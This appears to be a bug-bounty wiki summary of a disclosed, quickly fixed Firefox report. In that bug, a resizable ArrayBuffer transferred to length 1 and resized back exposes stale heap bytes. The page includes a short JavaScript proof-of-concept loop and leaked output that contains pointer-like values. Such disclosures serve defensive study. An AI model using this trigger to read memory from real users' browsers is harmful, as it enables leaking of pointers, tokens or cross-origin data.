Resizable ArrayBuffer transfer-resize path leaks stale heap bytes to JavaScript
A resizable ArrayBuffer, after being transferred with a smaller length and then resized back up, sometimes exposes non-zero residual heap bytes in the newly grown region instead of zeros. An attacker could read stale memory contents, potentially including pointers or other sensitive data, from JavaScript.
Originally disclosed on Mozilla
- Fixed in 2 hours
- Paid in 7 days
- Disclosed after 2 hours
Created attachment 9547967
poc_looped.js
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Steps to reproduce:
1. Open Firefox and open DevTools Console.
2. Run this PoC (poc_looped.js):
'''js
for (let i = 0; i < 200000; i++) {
const src = new ArrayBuffer(56, { maxByteLength: 56 });
new Uint8Array(src).fill(0x4b);
const dst = src.transfer(1);
dst.resize(56);
const out = new Uint8Array(dst);
if (out[1] !== 0) {
console.log("iter=" + i, Array.from(out));
break;
}
}
'''
Actual results:
Bytes in the grown region (indexes 1..55) are sometimes non-zero instead of zero after `transfer(1)` followed by `resize(56)`.
Example observed outputs:
[75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75]
or [75,32,136,211,219,52,254,255,0,0,0,0,0,128,249,255,0,0,0,0,0,128,249,255,0,0,0,0,0,128,249,255,1,0,0,0,0,128,248,255,0,212,198,175,164,28,251,255,8,73,216,139,99,1,0,0]
This indicates stale bytes are exposed to JavaScript.
Impact: stale heap bytes could leak sensitive data such as pointers, tokens, or cross-origin content to JavaScript.
Expected results:
After `const dst = src.transfer(1)`, only the first byte should be copied into `dst`. When `dst.resize(56)` is called, bytes `1..55` are newly exposed bytes and should read as `0`.
Reason: those bytes were never written by script, so the engine must not expose residual allocator contents. Newly visible buffer bytes are expected to be zero-initialized from a JS-observable behavior/security perspective.
So the expected output shape is `[75, 0, 0, 0, ... , 0]`
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the transfer-resize code path reuses the backing store without zero-initialising the newly exposed region after the buffer is grown.
Impact
Stale heap bytes could leak sensitive data such as pointers, tokens, or cross-origin content to JavaScript; the leak is intermittent, appearing only on some iterations.
What the attacker needed
Victim visits attacker page; browser supports resizable ArrayBuffer
How it was found
- Open Firefox and the DevTools Console.
- Run the provided loop that creates a small resizable buffer, fills it, transfers it with a length of one, resizes it back to full length, and checks the bytes.
- Observe that the grown region sometimes contains non-zero values instead of zeros.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
JavaScript can allocate a block of memory called an ArrayBuffer and, in newer engines, change its size. When a buffer is shrunk and then grown again, the new space is supposed to read as zeros so scripts cannot see whatever was there before. Here the engine sometimes handed back leftover bytes from earlier memory use, which a web page could read.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.